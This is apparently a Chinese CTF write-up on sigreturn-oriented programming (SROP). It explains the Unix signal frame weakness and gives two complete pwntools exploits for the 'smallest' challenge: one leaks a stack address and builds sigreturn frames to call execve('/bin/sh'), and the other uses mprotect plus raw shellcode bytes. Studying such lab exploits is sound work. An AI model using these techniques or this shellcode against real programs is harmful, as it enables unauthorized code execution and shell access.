srop学习

  1. 1. 原理
  2. 2. 实例-smallest

原理

参考 https://ha.cker.in/Article/6569

备份了一份 https://blog.csdn.net/weixin_45551083/article/details/123405986

首先需要了解一下Unix系统的Signal机制:

Signal这套机制在1970年代就被提出来并整合进了UNIX内核中,它在现在的操作系统中被使用的非常广泛,比如内核要杀死一个进程(kill -9 $PID),再比如为进程设置定时器,或者通知进程一些异常事件等等。

Signal机制实现流程:

  1. user process发起一个Signal,然后user process暂时被挂起进入内核状态
  2. 内核为进程保存上下文环境,然后跳转到signal handler处理handler.
  3. signalhandler处理结束,返回到内核态
  4. 内核恢复用户进程的上下文,然后恢复用户进程的执行

image-20220310234306263

这四步中,第三步是实现的关键, 一般实现如下:

  1. 在第二步中, 内核帮助进程将其上下文保存在该进程的栈里.然后再在栈顶上填写一个rt_sigreturn , rt_sigreturn指向sigreturn的系统调用代码.

通常上下文的结构包括寄存器等结构.如x86下的context结构体:

image-20220310234326505

  1. signal handler处理完之后,通过sys_sigreturn返回内核态.

所以在指向signal handler时,用户进程的栈空间可能是这样的:

drawio

Signal Frame:

image-20220310234334264

存在的问题:

  • 这个Signal Frame是被保存在用户进程的地址空间中的,是用户进程可读写的;
  • 内核并没有将保存的过程和恢复的过程进行一个比较,也就是说,在sigreturn这个系统调用的处理函数中,内核并没有判断当前的这个Signal Frame就是之前内核为用户进程保存的那个Signal Frame

所以可用在栈中构造context结构再触发sigreturn 系统调用来实现rop或者getshell, 如:

image-20220310234342906

sigreturn 系统调用可用使用syscall来实现(rax=15)

实例-smallest

题目地址: https://github.com/nushosilayer8/pwn

wp参考 https://bestwing.me/2017-360chunqiu-online.html

题目信息: 开了栈不可执行的保护.

1
2
3
4
5
6
7
root@Ubuntu:/pwn/srop# checksec ./smallest 
[*] '/pwn/srop/smallest'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

代码极其简单: 调用read系统调用,从标准输入写0x400个字节到rsp.

1
2
3
4
5
6
7
8
9
10
root@Ubuntu:/pwn/srop# objdump -d -M intel smallest 
smallest: 文件格式 elf64-x86-64
Disassembly of section .text:
00000000004000b0 <.text>:
4000b0: 48 31 c0 xor rax,rax ; rax = 0
4000b3: ba 00 04 00 00 mov edx,0x400 ; size
4000b8: 48 89 e6 mov rsi,rsp ; buf
4000bb: 48 89 c7 mov rdi,rax ; stdin
4000be: 0f 05 syscall
4000c0: c3 ret

利用srop来做有两种思路:

  1. 在栈中写入/bin/sh 然后再调用sys_execve.
  2. 先调用mprotect设置栈可执行,然后再打shellcode.

两种思路都涉及对具体地址的操作, 所以首先泄露一个栈上的地址.
泄露地址可以使用sys_write系统调用, 只需要在现有代码的基础上修改rax=1即可.
修改eax使用的是发送一个字节的数据,read函数返回rax=1. 发送的字节为b3 ,这样就可以跳过xor rax,rax

1
2
3
4
5
6
7
8
9
payload1 = p64(start_addr) * 3 # fill stack
io.send(payload1)
io.send(b"\xb3") # -> return to 0x4000b3 and eax = 1
# write
io.recv(8) # leak stack address
stack_address = io.recv(8)
stack_address = u64(stack_address) # not esp
stack_address += 8
success(f"leak stack address : {hex(stack_address)}")

然后使用srop迁移栈帧并覆盖新的栈空间:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 调用sys_read,覆盖新栈地址
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = stack_address
frame.rdx = 0x300
frame.rsp = stack_address # 调整栈帧到 esp = stack_address
frame.rip = syscall_ret
# 覆盖返回地址
payload = p64(start_addr)
payload += p64(start_addr) # padding,考虑到后面的padding
payload += bytes(frame)
io.send(payload)

sigreturn = p64(syscall_ret) + b'\x00' * 7 # sigreturn
io.send(sigreturn)

在新的栈空间上排布context和填充/bin/sh , 然后触发sigreturn来getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# read
io.send(p64(start_addr) * 0x30 + b'/bin/sh\x00') # stack_address + 0x30 * 8

# 利用srop来getshell
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = stack_address + 0x30 * 8
frame.rsp = stack_address
frame.rip = syscall_ret

payload = p64(start_addr)
payload += p64(start_addr) # padding
payload += bytes(frame)
io.send(payload)
# sigreturn
sigreturn = p64(syscall_ret) + b'\x00' * 7
io.send(sigreturn)

io.interactive()

完整exp1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('./smallest')
io = process('./smallest')
io = remote('node4.buuoj.cn',26223)
start_addr = 0x4000b0
syscall_ret = 0x4000be

payload1 = p64(start_addr) * 3 # fill stack
io.send(payload1)
io.send(b"\xb3") # -> return to 0x4000b3 and eax = 1
# write
io.recv(8) # leak stack address
stack_address = io.recv(8)
stack_address = u64(stack_address) # not esp
stack_address += 8
success(f"leak stack address : {hex(stack_address)}")

# 调用sys_read,覆盖新栈地址
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = stack_address
frame.rdx = 0x300
frame.rsp = stack_address # 调整栈帧到 esp = stack_address
frame.rip = syscall_ret
# 覆盖返回地址
payload = p64(start_addr)
payload += p64(start_addr) # padding,考虑到后面的padding
payload += bytes(frame)
io.send(payload)

sigreturn = p64(syscall_ret) + b'\x00' * 7 # sigreturn
io.send(sigreturn)

# read
io.send(p64(start_addr) * 0x30 + b'/bin/sh\x00') # stack_address + 0x30 * 8

# 利用srop来getshell
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = stack_address + 0x30 * 8
frame.rsp = stack_address
frame.rip = syscall_ret

payload = p64(start_addr)
payload += p64(start_addr) # padding
payload += bytes(frame)
io.send(payload)
# sigreturn
sigreturn = p64(syscall_ret) + b'\x00' * 7
io.send(sigreturn)

io.interactive()

思路2 exp: 前面一部分都是一样的,只有第二个srop的系统调用不一样.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('./smallest')
# io = process('./smallest')
io = remote('node4.buuoj.cn',26223)
start_addr = 0x4000b0
syscall_ret = 0x4000be

# fill stack
payload1 = p64(start_addr) * 3
io.send(payload1)
io.send(b"\xb3") # -> return to 0x4000b3 and eax = 1
# write
io.recv(8) # leak stack address
stack_address = io.recv(8)
stack_address = u64(stack_address) # not esp
stack_address += 8
success(f"leak stack address : {hex(stack_address)}")

# 调整栈帧到 esp = stack_address
# srop 调用sys_read,填充返回地址。
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = stack_address
frame.rdx = 0x300
frame.rsp = stack_address
frame.rip = syscall_ret

payload = p64(start_addr)
payload += p64(start_addr) # padding
payload += bytes(frame)
io.send(payload)

# 构造
sigreturn = p64(syscall_ret) + b'\x00' * 7
io.send(sigreturn)
io.send(p64(start_addr) * 3) # stack_address + 0x30 * 8

frame = SigreturnFrame()
frame.rax = constants.SYS_mprotect
frame.rdi = (stack_address&0xfffffffffffff000)
frame.rsi = 0x1000
frame.rdx = 0x7
frame.rsp = stack_address
frame.rip = syscall_ret

payload = p64(start_addr)
payload += p64(start_addr) # padding
payload += bytes(frame)
io.send(payload)

sigreturn = p64(syscall_ret) + b'\x00' * 7
io.send(sigreturn)
io.send(p64(stack_address+0x10) + b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
io.interactive()